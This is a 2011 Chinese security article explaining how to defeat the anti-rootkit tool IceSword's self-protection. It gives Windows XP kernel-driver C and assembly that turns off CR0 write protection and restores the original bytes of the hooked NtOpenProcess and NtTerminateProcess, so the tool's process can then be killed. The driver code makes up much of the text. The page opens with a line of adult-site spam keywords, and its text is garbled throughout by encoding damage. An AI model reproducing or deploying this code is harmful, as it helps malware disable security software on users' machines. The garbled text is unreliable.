国产精品香蕉在线观看网,亚洲欧美精品综合在线观看,亚洲不卡av一区二区无码不卡,亚洲日本精品国产第一区二区

移動安全 安全管理 應用案例網(wǎng)絡威脅 系統(tǒng)安全 應用安全 數(shù)據(jù)安全 云安全

突破IceSword自身進程的保護方法

時間:2011-05-03 15:15來源: 點擊:
IceSword的驅(qū)動對其自身進程做了保護,使惡意程序終止不了他。IceSword沒有用HOOK SSDT的方法,而是Inline Hook了NtOpenProcess、NtTerminateProcess幾個函數(shù),即修改函數(shù)前即修改函數(shù)前5個字節(jié)。
Tags黑客攻防(516)IceSword(7)進程(15)  

  IceSword的驅(qū)動對其自身進程做了保護,使惡意程序終止不了他。IceSword沒有用HOOK SSDT的方法,不過也沒用什么太變態(tài)的方法,而是Inline Hook了NtOpenProcess、NtTerminateProcess幾個函數(shù),即修改函數(shù)前5個字節(jié),jmp到他自定義處理函數(shù)例程里。

  終止采用這類保護方法的進程,可以使用暴力的PspTerminateProcess方法,PspTerminateProcess函數(shù)未導出,需要我們自己窮舉特征碼搜索來定位,或者硬編碼之。當然,我們還可以恢復IceSword的Inline hook,還原被IceSword掛鉤過的NtOpenProcess、NtTerminateProcess函數(shù),然后在用戶態(tài)上使用普通的終止進程的方法就可以終止他了。這里給出了第二中方法的具體代碼,不過由于此篇文章出于科普目的,代碼就寫得馬虎點了,僅適用于Windows XP,因為取SSDT對應的函數(shù)索引號用的硬編碼,說明問題而已。NtTerminateProcess未導出,大家可以自己改成通過讀取ntdll.dll動態(tài)通用的獲得索引號的方法,方法網(wǎng)上有公開,需要的人就自己動點手吧。

  CODE:

  #include

  #define DWORD unsigned long

  unsigned char OldCode[5]="\x68\xc4\x00\x00\x00";

  unsigned char OldCode2[5]="\x8b\xff\x55\x8b\xec";

  #pragma pack(1)

  typedef struct ServiceDescriptorEntry {

  unsigned int *ServiceTableBase;

  unsigned int *ServiceCounterTableBase;

  unsigned int NumberOfServices;

  unsigned char *ParamTableBase;

  } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;

  #pragma pack()

  __declspec(dllimport) ServiceDescriptorTableEntry_t KeServiceDescriptorTable;

  NTSTATUS DriverEntry( IN PDRIVER_OBJECT theDriverObject, IN PUNICODE_STRING

  theRegistryPath )

  {

  DWORD OpAddr,OpAddr2;

  OpAddr=*(KeServiceDescriptorTable.ServiceTableBase + 0x7A);

  OpAddr2=*(KeServiceDescriptorTable.ServiceTableBase + 0x101);

  _asm

  {

  CLI

  MOV eax, CR0

  AND eax, NOT 10000H

  MOV CR0, eax

  pushad

  mov edi, OpAddr

  mov eax, dword ptr OldCode[0]

  mov [edi], eax

  mov al, byte ptr OldCode[4]

  mov [edi+4], al

  mov edi, OpAddr2

  mov eax, dword ptr OldCode2[0]

  mov [edi], eax

  mov al, byte ptr OldCode2[4]

  mov [edi+4], al

  popad

  MOV eax, CR0

  OR eax, 10000H

  MOV CR0, eax

  STI

  }

  return STATUS_SUCCESS;

  }

------分隔線----------------------------

推薦內(nèi)容